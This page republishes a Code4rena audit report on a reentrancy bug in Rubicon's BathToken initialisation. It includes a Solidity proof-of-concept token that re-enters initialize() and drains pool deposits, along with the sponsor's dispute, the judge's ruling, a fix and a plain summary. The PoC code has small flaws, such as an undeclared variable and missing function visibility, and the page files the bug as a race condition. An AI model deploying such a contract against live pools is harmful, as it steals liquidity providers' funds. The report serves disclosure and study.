Skip to content
Race condition Audit finding Advanced

Malicious pools can be deployed through BathHouse

A malicious ERC-20 token could re-enter the pool initialisation function during an approval call, allowing the attacker to create a pool that holds a legitimate token but grants the attacker unlimited approval over it. Liquidity providers could then deposit real tokens into this fake pool and lose them to the attacker.

Bahurum Follow

Originally disclosed on Code4rena

Submitted by Bahurum, also found by dirky_

https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathHouse.sol#L153

https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L214

Impact

Reentrancy in BathToken.initialize() can be exploited and this allows to create a pool which has a legitimate underlying token (even one for which a pool already exists), and has given full approval of underlying Token to an attacker. While this underlying token will differ from the one returned by BathHouse.getBathTokenfromAsset for that Pool (since the returned token would be the malicious one which reentered initialize), the LPs could still deposit actual legitimate tokens to the pool since it is deployed from the BathHouse and has the same name as a legit pool, and loose their deposit to the attacker.

Proof of Concept

Create a new pool calling BathHouse.openBathTokenSpawnAndSignal() and passing as newBathTokenUnderlying the address with the following malicious token:

// SPDX-License-Identifier: BUSL-1.1

pragma solidity =0.7.6;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../../contracts/rubiconPools/BathToken.sol";

contract fakeToken is ERC20("trueToken", "TRUE"), Ownable {

    ERC20 trueToken;
    address marketAddress;
    uint256 counterApprove;
    BathToken bathToken;

    function setTrueToken(address _trueTokenAddress) onlyOwner {
        trueToken = ERC20(_trueTokenAddress);
    }

    function setMarketAddress(address _marketAddress) onlyOwner {
        marketAddress = _marketAddress;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        if (counterApprove == 1) { //first approve is from bathHouse
            bathToken = BathToken(msg.sender);
            bathToken.initialize(trueToken, owner, owner);
            attacked = false;
        }
        counterApprove++;
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function setAndApproveMarket(address _market){
        // sets legitimate market after malicious bathToken initialization
        bathToken.setMarket(_market);
        bathToken.approveMarket();
    }

    function emptyPool() onlyOwner {
        // sends pool tokens to attacker
        uint256 poolBalance = trueToken.balanceOf(address(bathToken));
        trueToken.transferFrom(address(bathToken), owner, poolBalance);
    }
}

This reenters BathToken.initialize() and reassigns the bathHouse role to the fake token, which names itself as the legit token. Also the reentrant call reassigns the legit Token to underlyingToken so thet the pool actually contains the legit token, but gives infinite approval for the legit token from the pool to the attacker, who is passed as market in the reentrant call.

Since the fakeToken has the bathHouse role, it can set the market to the actual RubiconMarket after the reentrant call.

Code: BathHouse.openBathTokenSpawnAndSignal, BathToken.initialize

Recommended Mitigation Steps

Add onlyBathHouse modifier to initialize function in BathToken to avoid reentrancy from malicious tokens.

bghughes (Rubicon) disputed and commented:

I believe this is a bad issue for a few reasons:

  • Firstly, the new bath token is always initialized with the implementation logic at newBathTokenImplementation and initialize is immediately called with the Bath House admin’s RubiconMarketAddress.
  • Therefore it is impossible to call initialize twice or re-enter.
  • There are system checks that treat the new token as an arbitrary ERC-20 but w/ the implementation logic and initialization flow of a BathToken (our system params_).

HickupHH3 (judge) commented:

The POC could be made stronger with a script so that the poor judge (me) doesn’t have to eyeball and manually review the attack vector. Having a working Hardhat script with the stated attack vector will 1000% strengthen the POC because it can be tested and verified.

The issue is valid, because like #179, the key step is the re-entrancy via the approval in L214 before initialized is set to true.

I think a simpler solution here is to shift the initialized variable to before the external call so that it follows the CEI pattern.

bghughes (Rubicon) confirmed and commented:

Better solution and good issue warden. Thank you both.


The original report as published on Code4rena, by Bahurum. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Liquidity providers could deposit legitimate tokens into the malicious pool and lose them to the attacker, who gains unlimited approval over the pool's holdings.

What the attacker needed

Attacker can deploy a malicious ERC-20 token; victim deposits into the malicious pool

The fix

The `initialize` function should set the `initialized` flag before making the external `approve` call, following the checks-effects-interactions pattern, or restrict it with an `onlyBathHouse` modifier.

How it was found

  1. Deploy a malicious ERC-20 token contract that re-enters `BathToken.initialize()` when its `approve` function is called.
  2. Call `BathHouse.openBathTokenSpawnAndSignal()` with the malicious token as the underlying asset.
  3. During the approval call, the malicious token re-enters `initialize`, sets itself as the bathHouse role, sets the legitimate token as underlying, and sets the attacker as market.
  4. After re-entry, the malicious token uses its bathHouse role to set the real market address.
  5. Liquidity providers deposit legitimate tokens into the pool, which the attacker can then drain via the unlimited approval.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a new pool is created, the contract calls the token's approve function. A malicious token can use that call to run its own code and call back into the pool's setup function before setup is marked complete. This lets the attacker take control of the pool's settings and give themselves permission to spend all the real tokens that users later deposit.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by Bahurum

View all

10 more disclosed reports, best first.

More from Rubicon v2

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.